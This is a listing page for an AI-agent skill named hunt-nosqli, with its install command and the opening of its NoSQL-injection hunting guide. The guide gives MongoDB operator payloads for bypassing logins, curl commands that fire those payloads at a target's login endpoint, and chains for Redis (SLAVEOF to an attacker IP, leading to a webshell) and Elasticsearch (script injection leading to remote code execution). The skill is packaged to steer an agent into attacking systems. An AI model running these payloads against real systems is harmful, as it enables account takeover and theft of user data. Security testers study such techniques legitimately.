Skills

Hunt Nosqli

Hunt NoSQL Injection, MongoDB operator injection ($where, $regex, $gt, $ne), CouchDB...

Install

npx skills add Zyrexnn/Cybermes --skill hunt-nosqli -g -a claude-code -y
Repository
Zyrexnn/Cybermes987
Category
Engineering
Updated
3d ago
License
Apache-2.0
Context cost
Lightabout 1,176 tokens
Runs scripts
No, instructions only

What it does

Hunt NoSQL Injection, MongoDB operator injection ($where, $regex, $gt, $ne), CouchDB, Redis command injection, auth bypass via NoSQLi, data dump. Use when target uses MongoDB/Mongoose, CouchDB, Redis, or shows NoSQL error messages.

HUNT-NOSQLI, NoSQL Injection

Crown Jewel Targets

NoSQL injection is most valuable when it bypasses authentication (Critical) or leaks the entire user collection (High).

Highest-value chains:

  • MongoDB auth bypass, {"username": {"$gt": ""}, "password": {"$gt": ""}} logs in as first user in collection (usually admin)
  • $where JS injection, if $where is enabled: blind injection → data exfil
  • Redis command injection, via SSRF or direct TCP, SLAVEOF attacker-ip → config write → webshell
  • Elasticsearch injection, _search endpoint with Groovy script injection (pre-5.0) → RCE

Attack Surface Signals

URL & Param Patterns

/api/users/login         POST with JSON body
/api/search?q=
/api/find?filter=
/api/query?where=
Any endpoint accepting JSON body with username/password

Stack Signals

SignalVector
MongoDB error messages in responseOperator injection
mongoose / monk in JS bundlesODM patterns
X-Powered-By: ExpressNode.js + MongoDB common stack
CouchDB/_utils UI exposedFuton/Fauxton admin
Redis port 6379 open (via SSRF)CONFIG SET / SLAVEOF
Elasticsearch :9200 openScript injection

Step-by-Step Hunting Methodology

Phase 1, Auth Bypass (MongoDB)

# Operator injection in JSON body
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

# Regex wildcard, match any username
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'

# ne (not equal) bypass
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$ne": "wrong"}}'
Read the whole SKILL.md on GitHub

More in Engineering